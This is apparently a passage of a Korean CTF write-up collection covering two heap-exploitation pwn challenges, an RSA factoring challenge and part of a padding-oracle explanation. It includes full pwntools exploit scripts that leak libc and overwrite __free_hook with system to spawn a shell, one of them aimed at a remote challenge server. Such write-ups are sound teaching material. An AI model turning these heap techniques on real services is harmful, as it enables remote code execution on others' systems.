Fortify                       : โœ˜
RelRO                         : Full
  • ์‹คํ–‰๊ฒฐ๊ณผ
  • ํ•ด๋‹น ๋ฐ”์ด๋„ˆ๋ฆฌ๋Š” add, view, delete 3๊ฐ€์ง€ ๊ธฐ๋Šฅ์ด ์žˆ์œผ๋ฉฐ ํž™ ์˜์—ญ์— ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ํ• ๋‹นํ•˜์—ฌ ์“ฐ๊ณ , ์ฝ๊ณ , ํ•ด์ œํ•  ์ˆ˜ ์žˆ๋‹ค.
  • ๊ตฌ์กฐ์ฒด ํ™•์ธ
struct Patient
{
    char name[0x24]; # 24 bytes
    unsigned int age; # 4 bytes
    size_t gender; # 8 bytes
    char *sickness; # 8 bytes
};
  • ์ทจ์•ฝ์  ํ™•์ธ (add function)
  • 25 line ์— scanf ํ•จ์ˆ˜ ํ˜ธ์ถœ ์‹œ %lld ํฌ๋งท์€ 8 ๋ฐ”์ดํŠธ ์ž…๋ ฅ์„ ๋ฐ›์œผ๋ฉฐ, patient_list[i]โ†’age ๋ณ€์ˆ˜๋Š” unsigned int (4 ๋ฐ”์ดํŠธ)ํ˜• ๋ณ€์ˆ˜ ์ด๋ฏ€๋กœ ํ•ด๋‹น ์ฝ”๋“œ์—์„œ Type Confusion ์ด ๋ฐœ์ƒํ•œ๋‹ค.
  • ์ด๋ฅผ ํ†ตํ•ด ์•„๋ž˜ 26 line ๋ฐ 47 line ์„ ํ†ตํ•ด 0x40 chunk ๋ฅผ ํ• ๋‹น๋ฐ›์•„ 0x80 ์‚ฌ์ด์ฆˆ ๋งŒํผ ์ž…๋ ฅ์„ ๋ฐ›๋Š” ๋“ฑ Heap Overflow๋กœ ์•…์šฉ ๊ฐ€๋Šฅํ•˜๋‹ค.
  • exploit plan
    1. libc leak

      1.1. 0x420 ์ด์ƒ์˜ ์ฒญํฌ๋ฅผ ๋งŒ๋“  ๋’ค free ํ•˜์—ฌ unsorted bin (libc-main_arena) ์ƒ์„ฑ

      1.2. view ๋ฉ”๋‰ด๋ฅผ ํ†ตํ•ด libc ์ฃผ์†Œ leak

    1. rip ๋ณ€์กฐ

      2.1. tcache bin ์˜ fd ๋ฅผ __malloc_hook ๋˜๋Š” __free_hook ์ฃผ์†Œ๋กœ ๋ณ€์กฐ

      2.2. tcache chunk ํ• ๋‹น ์‹œ oneshot ๋˜๋Š” system ์ฃผ์†Œ๋กœ ๋ณ€์กฐ

      2.3. malloc ๋˜๋Š” free ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ ํŠธ๋ฆฌ๊ฑฐ

      • __free_hook ์„ system ์ฃผ์†Œ๋กœ ๋ณ€์กฐ ํ•˜์˜€์„ ๊ฒฝ์šฐ ํž™ ๋ฉ”๋ชจ๋ฆฌ์— "/bin/sh" ๋ฌธ์ž์—ด ์ €์žฅ ํ›„ ํ˜ธ์ถœ
  • exploit code
from pwn import *

bi = './pwn'
r = process([bi])
#r = remote('localhost', 12003)
e = ELF(bi)
l = ELF('libc.so.6')
xla = lambda x : r.sendlineafter(': ', str(x))
xa = lambda x : r.sendafter(': ', str(x))
add = lambda name,gender,age,sickness : [xla('1'), xa(name), xla(gender), xla(age), xa(sickness)]
view = lambda idx : [xla('2'), xla(idx)]
dele = lambda idx : [xla('3'), xla(idx)]


[add('Z', 0, 0xff, 'A') for _ in range(2)]

add('Z', 0, 0xff, 'A')
[add('A', 1, 0xff, 'A') for _ in range(5)]
add('A'*8+p64(0x31), 1, 0xff, 'A')
dele(2)
pay = 'A'*0x40
pay += p64(0) + p64(0x421)
add('Z', 0, 0x1000000ff, pay)
dele(3)
dele(2)
pay = 'A'*0x50
add('Z', 0, 0x1000000ff, pay)
view(2)
r.recvuntil('sickness : {}'.format('A'*0x50))
libc = u64(r.recvline().strip().ljust(8,'\x00')) - l.sym['__malloc_hook'] - 0x70
log.info("libc @ {}".format(hex(libc)))

dele(2)
dele(4)
dele(5)
dele(6)

dele(1)
dele(0)
pay = 'A'*0x40
pay += p64(0) + p64(0x41)
pay += p64(libc+l.sym['__free_hook'])
add('Z', 0, 0x1000000ff, pay)

[add(p64(libc+l.sym['system']), 0, 0xff, '/bin/sh') for _ in range(2)]
dele(1)

r.interactive()

  • ์ถ”๊ฐ€์ ์œผ๋กœ, ๊ฐœ๋ฐœ ์‹ค์ˆ˜๋กœ ์ธํ•ด add ํ•จ์ˆ˜์— ํž™ ๋ฉ”๋ชจ๋ฆฌ ํ• ๋‹น ์‹œ ํ•ด๋‹น ์˜์—ญ์œผ๋กœ ์ดˆ๊ธฐํ™”(memset ๋˜๋Š” calloc) ํ•˜์ง€ ์•Š์•„ Uninitialized Heap ๋ฒ„๊ทธ๊ฐ€ ์กด์žฌํ•˜๋‹ˆ ํ•ด๋‹น ๋ฒ„๊ทธ๋ฅผ ์ด์šฉํ•˜์—ฌ exploit ํ•ด๋ณด๋Š”๊ฒƒ๋„ ์ถ”์ฒœํ•œ๋‹ค.

Corona


๐Ÿ’ก
race condition์„ ์ด์šฉํ•œ thread heap exploit challenge.

Challenge

์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋ฉ”๋‰ด๋Š” ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

  1. Create house : house structure ํ• ๋‹น
  1. Edit house : house name ์ˆ˜์ •
  1. Add person : person structure ํ• ๋‹น
  1. Check status : person ์ƒํƒœ ์ถœ๋ ฅ
  1. hidden : person name ์ˆ˜์ • (ํ•œ๋ฒˆ๋งŒ ํ˜ธ์ถœ ๊ฐ€๋Šฅ)

๋˜ํ•œ ํ”„๋กœ๊ทธ๋žจ์—๋Š” ๋‘๊ฐœ์˜ thread๊ฐ€ ๋™์ž‘ํ•˜๊ณ  ์žˆ๋‹ค.

  1. t_virus : ๋žœ๋ค(3 + rand()%8)์œผ๋กœ ์‚ฌ๋žŒ์„ ํ•œ๋ช… ๊ฐ์—ผ์‹œํ‚ค๊ณ  person chunk๋ฅผ free ํ•œ๋‹ค.
  1. t_day_check : 5์ดˆ์— ํ•œ๋ฒˆ์”ฉ ํ•˜๋ฃจ๊ฐ€ ์ง€๋‚˜๋ฉฐ ํ•˜๋ฃจ๊ฐ€ ์ง€๋‚  ๋•Œ ๋งˆ๋‹ค ๊ฐ์—ผ๋œ person ๊ฐ์ฒด๋ฅผ null๋กœ ๋ฎ์–ด์“ด๋‹ค.

Vulnerability

์ทจ์•ฝ์ ์€ race condition์œผ๋กœ, t_virus ์“ฐ๋ ˆ๋“œ๊ฐ€ person chunk๋ฅผ freeํ•œ ํ›„ t_day_check ์“ฐ๋ ˆ๋“œ๊ฐ€ person list๋ฅผ freeํ•˜๊ธฐ ์ „์— free๋œ person ์— ์ ‘๊ทผํ•˜๋ฉด Use-After-Free ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•œ๋‹ค.

Exploit

exploit์— ์•ž์„œ ์ด ๋ฌธ์ œ๋ฅผ ์ตœ๋Œ€ํ•œ ๋น ๋ฅด๊ฒŒ exploitํ•˜๊ธฐ ์œ„ํ•ด ์•Œ๊ณ ์žˆ์–ด์•ผํ•˜๋Š” ๋‘๊ฐ€์ง€๊ฐ€ ์žˆ๋‹ค.

  1. ๋ฐ”์ด๋„ˆ๋ฆฌ์—์„œ chunk๋ฅผ freeํ•˜๋Š”๊ฒŒ ์ž์œ ๋กญ์ง€ ์•Š๋‹ค. t_virus thread๊ฐ€ ๋žœ๋ค์œผ๋กœ freeํ•˜๋Š”๋ฐ, list์— chunk๊ฐ€ ์—†์„ ๊ฒฝ์šฐ free๋˜์ง€ ์•Š์„ ์ˆ˜๋„ ์žˆ๋‹ค. ๋”ฐ๋ผ์„œ chunk๋ฅผ ์ตœ๋Œ€ํ•œ ๋†’์€ ํ™•๋ฅ ๋กœ free์‹œํ‚ค๊ธฐ ์œ„ํ•ด์„œ๋Š” ๋ชจ๋“  house์— person์„ ์ „๋ถ€ ์ฑ„์šฐ๊ณ  free ๋  ๋•Œ ์ถœ๋ ฅ๋˜๋Š” ๋ฉ”์„ธ์ง€๋กœ ์–ด๋–ค ์ฒญํฌ๊ฐ€ free๋œ๊ฑด์ง€ ๊ตฌ๋ถ„ํ•˜๋Š”๊ฒŒ ์ข‹๋‹ค (printf("\n%s was infected ...\n", house_list[rd]->list[i]->name);) ๊ทธ๋ž˜์„œ exploit์„ ์ž‘์„ฑํ•  ๋•Œ๋„ ํŠน์ˆ˜ํ•œ chunk๊ฐ€ free๋˜๋Š”๊ฑธ ๊ฐ€์ •ํ•˜๊ธฐ ๋ณด๋‹ค, ๋‹จ์ˆœํžˆ chunk๊ฐ€ free๋˜๋Š” ์‚ฌ์‹ค์„ ์ด์šฉํ•ด ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•ด์•ผ ํ•œ๋‹ค. ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด ๋žœ๋ค ๋•Œ๋ฌธ์— ๋””๋ฒ„๊น…์ด ๋งค์šฐ ํž˜๋“ค๊ณ  exploit์„ ์™„์„ฑํ•˜๋Š”๋ฐ ์˜ค๋žœ ์‹œ๊ฐ„์ด ๊ฑธ๋ฆด ๊ฒƒ์ด๋‹ค.
  1. race๋ฅผ ๋‚ด๋Š” ์‹œ๊ฐ„์ด ๋„ˆ๋ฌด ๊ธธ๋‹ค. t_day_check๊ฐ€ 5์ดˆ์ด๊ณ  t_virus๊ฐ€ (rand()%8 + 3)์ดˆ์ธ๋ฐ ์‚ฌ์‹ค์ƒ chunk ํ•˜๋‚˜๊ฐ€ free๋˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ์ตœ์†Œ 3์ดˆ๋ฅผ ๊ธฐ๋‹ค๋ ค์•ผํ•œ๋‹ค๋Š” ๋ง์ด ๋œ๋‹ค. ๋ฌธ์ œ๋ฅผ ํ’€ ๋•Œ๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ ํŒจ์น˜๋กœ ์ด ๊ฐ’์„ ์งง๊ฒŒ ์ค„์—ฌ์„œ exploitํ•ด์•ผ ๋””๋ฒ„๊น…ํ•˜๋Š”๋ฐ ์‹œ๊ฐ„์„ ์ตœ์†Œํ™”ํ•  ์ˆ˜ ์žˆ๋‹ค.

์•„๋งˆ ์œ„ ๋‘๊ฐ€์ง€๋ฅผ ์•ˆํ–ˆ๋‹ค๋ฉด ๋””๋ฒ„๊น…์ด ๋งค์šฐ ๋ถˆํŽธํ–ˆ์„ ๊ฒƒ์ด๋‹ค. ๋‹ค์Œ์€ ์‹ค์ œ๋กœ exploitํ•˜๋Š” ์ˆœ์„œ์ด๋‹ค.

  1. 5์ผ์งธ์— libc leak์„ ์ œ๊ณตํ•ด ์ค€๋‹ค.
  1. t_virus๋กœ 8๊ฐœ์˜ chunk๋ฅผ freeํ•œ๋‹ค. (7๊ฐœ์˜ chunk๋Š” tcache์— ์ €์žฅ๋˜๋ฉฐ ๋งˆ์ง€๋ง‰ chunk๋Š” fastbin์— ์ €์žฅ๋œ๋‹ค.)
  1. hidden ๋ฉ”๋‰ด๋ฅผ ์ด์šฉํ•ด fastbin chunk์˜ fd๋ฅผ free hook - 0x10์œผ๋กœ ๋Œ๋ฆฐ๋‹ค. (race condition ํŠธ๋ฆฌ๊ฑฐ)
  1. ๋™์ผํ•œ ์‚ฌ์ด์ฆˆ์˜ ์ฒญํฌ๋ฅผ ํ•˜๋‚˜ ๋” ํ• ๋‹นํ•˜๋ฉด fastbin chunk๋ฅผ tcache bin ์œผ๋กœ ์˜ฎ๊ธด๋‹ค.
  1. tcache bin์— ์žˆ๋Š” chunk๋ฅผ ํ• ๋‹น๋ฐ›์•„ free_hook์— ์›ํ•˜๋Š” ๊ฐ’์„ ์“ด๋‹ค.
  1. person name์— /bin/sh๋ฅผ ๋„ฃ์–ด t_virus๊ฐ€ chunk๋ฅผ freeํ•  ๋•Œ shell์„ ํš๋“ํ•œ๋‹ค.

Note

์‚ฌ์‹ค ์ด ๋ฌธ์ œ๋ฅผ ์ฒ˜์Œ ๊ธฐํšํ–ˆ์„๋•Œ ํ•ต์‹ฌ์ ์ธ ๋‚ด์šฉ์€ libc ์ฃผ์†Œ๋ฅผ leakํ•˜๋Š” ๋ถ€๋ถ„์ด์—ˆ๋‹ค. ๋‹ค๋งŒ libc๋ฅผ leakํ•˜๋Š” ๋ฐฉ๋ฒ•์ด ์ƒ๊ฐ๋ณด๋‹ค ๋„ˆ๋ฌด ์–ด๋ ค์›Œ์ ธ์„œ ์ด๊ฒƒ๊ณผ ํ•จ๊ป˜ tcache bin trick์„ ๊ฐ™์ด ๋‚ธ๋‹ค๋ฉด ํ‘ธ๋Š”๋ฐ ๋„ˆ๋ฌด ๋งŽ์€ ์‹œ๊ฐ„์ด ๊ฑธ๋ฆด๊ฒƒ์ด๋ผ ํŒ๋‹จํ–ˆ๋‹ค. ๊ทธ๋ž˜์„œ libc ์ฃผ์†Œ๋ฅผ ์ฃผ๋Š” ๋ฐฉํ–ฅ์œผ๋กœ ๋ฌธ์ œ๋ฅผ ๋ณ€๊ฒฝํ–ˆ๊ณ , exploit์—์„œ ์•ˆ์“ฐ๋Š” edit house ๋ฉ”๋‰ด๊ฐ€ ์žˆ๋Š” ์ด์œ ๋„ leak์„ ์ฃผ๋Š”๊ฑธ๋กœ ํŒจ์น˜ํ•ด์„œ ๊ทธ๋ ‡๋‹ค. (ํ•˜์ง€๋งŒ ์ง€๊ธˆ ๋ฌธ์ œ์—์„œ๋„ libc leak์„ ํ•  ์ˆ˜ ์žˆ์œผ๋‹ˆ ๋„์ „ํ•ด๋ณด๊ณ  ์‹ถ์œผ์‹  ๋ถ„๋“ค์€ ๋„์ „ํ•ด ๋ณด์‹œ๊ธธ..)

๊ทธ๋ฆฌ๊ณ  exploit์˜ ํ•ต์‹ฌ์ ์ธ ๋‚ด์šฉ ์ค‘์— tcache ๊ด€๋ จ ํŠธ๋ฆญ์ด ์žˆ๋Š”๋ฐ, ์‚ฌ์‹ค ์ด๊ฒƒ์€ ๊ณต๊ฐœ์ ์œผ๋กœ ์•Œ๋ ค์ง€๊ฑฐ๋‚˜ ํ”ํžˆ ์‚ฌ์šฉ๋˜๋Š” ํŠธ๋ฆญ์€ ์•„๋‹Œ ๋งŒํผ fastbin bin์— ์žˆ๋Š” chunk๊ฐ€ tcache์œผ๋กœ ์˜ฎ๊ฒจ์ง„๋‹ค๋Š” ์‚ฌ์‹ค์„ ๋ชจ๋ฅด๋Š” ๋ถ„๋“ค์ด ๋งŽ์„ ๊ฒƒ์ด๋ผ ์ƒ๊ฐํ–ˆ๋‹ค. ํŠนํžˆ CTF์—์„œ heap ๊ด€๋ จ ๋ฌธ์ œ๋Š” ๋ชจ๋ฅด๋Š” ํŠธ๋ฆญ์ด ๋‚˜์™€ ๊ณ ์ƒํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์€๋ฐ, ์ด ๋ฌธ์ œ์—์„œ๋Š” ํŠธ๋ฆญ์„ ๋ชฐ๋ผ๋„ ์ž์—ฐ์Šค๋Ÿฝ๊ฒŒ ๋ฌธ์ œ๋ฅผ ํ’€ ์ˆ˜ ์žˆ๋„๋ก ์ตœ๋Œ€ํ•œ ์œ ๋„ํ–ˆ๋‹ค.

๊ทธ ๋ถ€๋ถ„์ด ๋ฐ”๋กœ Person chunk๋ฅผ 0x70 ์‚ฌ์ด์ฆˆ์˜ chunk๋กœ ์คฌ๋‹ค๋Š” ์‚ฌ์‹ค์ธ๋ฐ, exploit์—์„œ tcache bin ํŠธ๋ฆญ์„ ์‚ฌ์šฉํ•˜๋ฉด ์‚ฌ์ด์ฆˆ์™€๋Š” ์ƒ๊ด€ ์—†์ด ์›ํ•˜๋Š” ์ฃผ์†Œ๋ฅผ ๋ฎ์–ด ์“ธ ์ˆ˜ ์žˆ๋‹ค. ํ•˜์ง€๋งŒ ์ด ์‚ฌ์‹ค์„ ๋ชจ๋ฅด๋Š” ๋ถ„๋“ค์€ ์ด๋ฏธ ํ”ํ•˜๊ฒŒ ์•Œ๋ ค์ง„ 0x70 fastbin chunk์˜ fd๋ฅผ ๋ฎ์–ด __malloc_hook์„ ๋ฎ์–ด์“ฐ๋Š” exploit์„ ์ƒ๊ฐํ–ˆ์„ ๊ฒƒ์ด๋‹ค. ๋งŒ์•ฝ ์ด๋Ÿฐ ์ƒ๊ฐ์„ ํ†ตํ•ด exploit์„ ์ž‘์„ฑํ–ˆ๋‹ค ํ•˜๋”๋ผ๋„ __malloc_hook์„ ๋ฎ์–ด์“ฐ๋Š” ๊ณผ์ •์—์„œ ์ž์—ฐ์Šค๋Ÿฝ๊ฒŒ fastbin chunk๊ฐ€ tcache bin์œผ๋กœ ์˜ฎ๊ฒจ์ง€๋Š” ์‚ฌ์‹ค์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์„ ๊ฒƒ์ด๋‹ค. ์—ฌ๊ธฐ์„œ ์ข€๋งŒ ๋” ๋””๋ฒ„๊น…์„ ํ•˜๋‹ค ๋ณด๋ฉด exploit์„ ์™„์„ฑํ•  ์ˆ˜ ์žˆ๋„๋ก ๋ฌธ์ œ๋ฅผ ์„ค๊ณ„ํ–ˆ๋‹ค. ๊ทธ๋ž˜์„œ ์ด ๋ฌธ์ œ๋ฅผ ํ‘ธ๋Š” ๋ชจ๋“  ๋ถ„๋“ค์ด ๋ชจ๋ฅด๋ฉด ๋ชปํ‘ธ๋Š” ํŠธ๋ฆญ๋ฌธ์ œ๋ผ๊ณ  ์ƒ๊ฐํ•˜์ง€ ์•Š์•˜์œผ๋ฉด ์ข‹๊ฒ ๋‹ค๋Š” ๋งˆ์Œ์œผ๋กœ ์ตœ๋Œ€ํ•œ ์ต์Šค ์œ ๋„๋ฅผ ํ•ด๋ดค๋‹ค.

Exploit Code

์‹ค์ˆ˜๋กœ ๋ฌธ์ œ ์ฝ”๋“œ์™€ exploit์„ ๋‹ค ๋‚ ๋ ค๋ฒ„๋ฆฐ ๋ฐ”๋žŒ์—,, ๋ฌธ์ œ๋ฅผ ํฌ๋กœ์Šค ์ฒดํ‚น ํ•ด์ฃผ์‹  ํ•ต์‹ฌ์—ฐ๊ตฌํŒ€ ๊น€๋™๋ฏผ๋‹˜(@gpsfly) ์ต์Šค๋ฅผ ์ฒจ๋ถ€ํ•œ๋‹ค.

from pwn import *
import sys

bi = './bin.elf'
#r = process([bi])
r = remote('bob.lordofpwn.kr', 31337)
context.terminal = ['tmux', 'new-window']
sla = r.sendlineafter
sa = r.sendafter
p = pause
dbg = gdb.attach
e = ELF(bi)
l = ELF('libc') # remote
#l = ELF('libc.so.6') # local

sc = '''
heap-analysis-helper
c
'''
if len(sys.argv) > 1:
    dbg(r, sc)

xla = lambda x : sla('>> ', str(x))
xa = lambda x : sa('>> ', str(x))
create = lambda name : [xla(1), xa(name)]
edit = lambda idx,name : [xla(2), xla(idx), xa(name)]
add = lambda idx,name,age,height : [xla(3), xla(idx), xa(name), xla(age), xla(height)]
check = lambda idx : [xla(4), xla(idx)]
hidden = lambda hidx,pidx,name : [xla(31337), xla(hidx), xla(pidx), xa(name)]

for i in range(7):
    create('/bin/sh')
    for j in range(8):
        add(i, '{}_{};/bin/sh'.format(i,j), 1, 1)

cnt = 0
while True:
    data = r.recvline().strip()
    if 'The gift' in data:
        libc = int(data.split(' : ')[1], 16) - l.sym['printf']
        log.info("libc @ {}".format(hex(libc)))
    elif 'infected' in data:
        cnt += 1
        print(cnt, data)
        if cnt == 8:
            i, j = data.split(' was ')[0].split(';')[0].split('_')
            r.sendline('5')
            hidden(i, j, p64(libc+l.sym['__free_hook']-0x10)) #free_hook-0x10
            create('A'*0x60)
            add(i, p64(libc+l.sym['system']), 1, 1) #system
            edit(0, 'X')
            break

r.interactive()

๐Ÿ–ฅ๏ธ CRYPTO

Easy RSA


๐Ÿ’ก
Easy polynomial factoring
  • ๋ฌธ์ œ์—์„œ๋Š” ๊ณต๊ฐœํ‚ค๋งŒ ์ œ๊ณต๋œ๋‹ค. ์ฆ‰ ์ด ๋ฌธ์ œ์—์„œ๋Š” N์„ factorizationํ•˜๋Š” ๊ฒŒ ๋ชฉํ‘œ์ด๋‹ค.
  • code์—์„œ N์˜ ๊ฐ’์„ 13์ง„๋ฒ•์œผ๋กœ ์‚ดํŽด๋ณด๋ผ๋Š” ํžŒํŠธ๊ฐ€ ์ฃผ์–ด์กŒ๋‹ค.
  • N์„ base 13์œผ๋กœ ์‚ดํŽด๋ณด๋ฉด ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

1100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000013a41000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000019bba2

  • ์ด๋ฅผ ๋‹คํ•ญ์‹์œผ๋กœ ๋‚˜ํƒ€๋‚ด๋ฉด ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

x^400 + x^399 + x^203 + 3x^202 + 10x^201 + 4x^200 + x^199 + x^5 + 9x^4 + 11x^3 + 11x^2 + 10*x + 2 (x=13)

  • sage์—์„œ ํ•ด๋‹น ๋‹คํ•ญ์‹์„ poly.factor()๋กœ factorizationํ•˜๋ฉด p์™€ q๋ฅผ ๊ตฌํ•  ์ˆ˜ ์žˆ๋‹ค.

Exploit Code

sage: N = 4069355261174518447044221465092549731956949577068389562886621536859114995157407396913103746675307806861475505196604075690189887011157213
....: 06579441204391802579988679325559464933524679569288946633797366876605906618330862289486089133036525973648043594211930902803789362401571187621
....: 75215559436614871795165204002781471609204034064252028413035000407848466271441883438192490960762478416146403426890827177153457241880068131862
....: 173969477923674349247844851493
sage: 
sage: N.str(base=13)
'1100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000013a41000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000019bba2'
sage: poly = sum(e * x^i for i,e in enumerate(N.digits(13)))
sage: 
sage: poly
x^400 + x^399 + x^203 + 3*x^202 + 10*x^201 + 4*x^200 + x^199 + x^5 + 9*x^4 + 11*x^3 + 11*x^2 + 10*x + 2
sage: poly.factor()
  ***   Warning: increasing stack size to 2000000.
(x^200 + x^199 + x^2 + 8*x + 2)*(x^200 + x^3 + x^2 + x + 1)
sage: p = 13^200 + 13^199 + 13^2 + 8*13 + 2
sage: q = 13^200 + 13^3 + 13^2 + 13 + 1

Boom Boom


๐Ÿ’ก
Oracle Padding Attack

๋ฌธ์ œํ™•์ธ

ํ…Œ๋Ÿฌ๋‹จ์ฒด์—์„œ ํญํƒ„ํ…Œ๋Ÿฌ๊ฐ€ ์žˆ์„ ์˜ˆ์ •์ด๋ผ๋Š” ์ฒฉ๋ณด๋ฅผ ์ž…์ˆ˜ํ–ˆ๋‹ค....(์ƒ๋žต)... ์•”ํ˜ธ๋ฌธ์„ ๋ณตํ˜ธํ™”ํ•˜๊ณ  ์•”ํ˜ธ ํ•ด์ œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํš๋“ํ•ด๋ผ!
  • ๋ฌธ์ œ์— ์ ‘์†ํ•˜๋ฉด ๋ฉ”์‹œ์ง€์™€ ํ•จ๊ป˜ IV์™€ Ciphertext๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.
  • ํŽ˜์ด์ง€์— ์ƒˆ๋กœ ์ ‘์†ํ•  ๋•Œ๋งˆ๋‹ค ์ƒˆ๋กœ์šด IV์™€ Ciphertext๋ฅผ ์ถœ๋ ฅํ•ด์ค€๋‹ค.

๊ธฐ๋Šฅํ™•์ธ

  • Module ํŽ˜์ด์ง€์—์„œ๋Š” IV์™€ Ciphertext๋ฅผ ์ž…๋ ฅํ•  ์ˆ˜ ์žˆ๋‹ค.

  • Flag ํŽ˜์ด์ง€์—์„œ๋Š” Passcode๋ฅผ ์ž…๋ ฅํ•  ์ˆ˜ ์žˆ๋‹ค. ์˜ฌ๋ฐ”๋ฅธ Passcode๋ฅผ ์ž…๋ ฅํ•˜๋ฉด FlAG๋ฅผ ์ถœ๋ ฅํ•œ๋‹ค.

๋ถ„์„

  • Module ํŽ˜์ด์ง€์—์„œ๋Š” ์ด 3๊ฐ€์ง€์˜ ์‘๋‹ต์ด ์กด์žฌํ•œ๋‹ค.

1) Invalid padding

  • IV๊ฐ€ ์•Œ๋งž์ง€ ์•Š์„ ๊ฒฝ์šฐ ๋ฐœ์ƒ(Padding error)

2) incoreect!

  • Padding์€ ์•Œ๋งž๊ฒŒ ์ฑ„์›Œ์ง„ ๊ฒฝ์šฐ

3) correct!

  • IV์™€ Ciphertext ๋ชจ๋‘ ์•Œ๋งž์„ ๊ฒฝ์šฐ ๋ฐœ์ƒ

Oracle Padding Attack ๊ฐœ๋…

  • ์ทจ์•ฝ์  ์„ค๋ช…
    • ๋ธ”๋ก์•”ํ˜ธ์—์„œ ์‚ฌ์šฉ๋˜๋Š” ํŒจ๋”ฉ์ด, ์˜ฌ๋ฐ”๋ฅธ์ง€ ์˜ฌ๋ฐ”๋ฅด์ง€ ์•Š์€์ง€์— ๋”ฐ๋ผ ์„œ๋ฒ„์˜ ์‘๋‹ต์ด ๋‹ฌ๋ผ์งˆ ๊ฒฝ์šฐ ์ด๋ฅผ ํ†ตํ•ด ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ ํ•  ์ˆ˜ ์žˆ๋‹ค.

  • ํŒจ๋”ฉ์ด๋ž€?
    • ๋ธ”๋ก ์•”ํ˜ธํ™”ํ•ด์„œ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์œผ๋กœ, ์ผ์ • ๋‹จ์œ„๋กœ ๋ธ”๋ก์„ ์ž๋ฅผ๋•Œ ๋งˆ์ง€๋ง‰ ๋ธ”๋ก์— ์•ž ๋ธ”๋ก๊ณผ ๊ฐ™์€ ๊ธธ์ด๋กœ ๋งŒ๋“ค์–ด์ฃผ๊ธฐ ์œ„ํ•ด ๋‚จ๋Š” ๊ณณ์€ ํŒจ๋”ฉ์œผ๋กœ ์ฑ„์šด๋‹ค.
    • ์˜ค๋ผํด ํŒจ๋”ฉ์˜ ๊ฒฝ์šฐ, 5byte๊ฐ€ ๋‚จ์•˜์œผ๋ฉด 0x05๋กœ 5byte๋ฅผ ์ฑ„์šฐ๊ณ  2byte๊ฐ€ ๋‚จ์•˜์œผ๋ฉด 0x02๋กœ 2byte๋ฅผ ์ฑ„์šด๋‹ค.
    • ๋งŒ์•ฝ ํ‰๋ฌธ์ด 8byte์ผ ๊ฒฝ์šฐ ๋‹ค์Œ ๋ธ”๋ก์„ ๋ชจ๋‘ 0x08๋กœ 8byte ์ฑ„์šด๋‹ค.

  • ์•”ํ˜ธํ™”๋ฅผ ์ˆ˜ํ–‰ํ•˜๋Š” ๊ณผ์ •์€ ์œ„ ๊ทธ๋ฆผ๊ณผ ๊ฐ™๋‹ค.
  • iv์™€ plain text๋ฅผ xor ํ•˜์—ฌ Intermediary Value๋ฅผ ์–ป๊ณ  ๊ทธ ๊ฐ’์„ 3DES ์•”ํ˜ธํ™” ๋ฐฉ์‹์„ ๊ฑฐ์ณ ์•”ํ˜ธ๋ฌธ์œผ๋กœ ๋‚˜์˜จ๋‹ค.
  • ์ดํ›„ ๊ทธ ์•”ํ˜ธ๋ฌธ์„ iv๋กœ ์‚ฌ์šฉํ•œ๋‹ค.
  • ์ฆ‰ ์•”ํ˜ธ๋ฌธ์€, IV+์•”ํ˜ธ๋ธ”๋Ÿญ1+์•”ํ˜ธ๋ธ”๋Ÿญ2๋กœ ์ด๋ค„์ง„๋‹ค.
  • ๋ณตํ˜ธํ™” ๊ณผ์ •์„ ์‚ดํŽด๋ณด๋ฉด ์œ„ ๊ทธ๋ฆผ๊ณผ ๊ฐ™๋‹ค. ์•”ํ˜ธ๋ฌธ์„ 3DES๋กœ ๋ณตํ˜ธํ™” ํ•˜์—ฌ Intermediary Value ๊ฐ’์„ ์–ป๋Š”๋‹ค.
  • ์ดํ›„ IV์™€ Intermediary Value๋ฅผ XOR ํ•˜์—ฌ plain ๊ฐ’์„ ์–ป๋Š”๋‹ค.
  • IV์™€ Intermediary Value ๊ฐ’์„ XOR ํ•œ plain ๋ธ”๋Ÿญ์˜ ๋งˆ์ง€๋ง‰ ๊ฐ’(ํŒจ๋”ฉ ๋ถ€๋ถ„)์ด 0x01์ด ๋˜๋Š” IV ๋งˆ์ง€๋ง‰ ๊ฐ’ ์ฐพ๊ณ , 0x01๊ณผ ๊ทธ IV ๋งˆ์ง€๋ง‰ ๊ฐ’์„ XOR ํ•˜๋ฉด Intermediary์˜ ๋งˆ์ง€๋ง‰ ๊ฐ’์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.
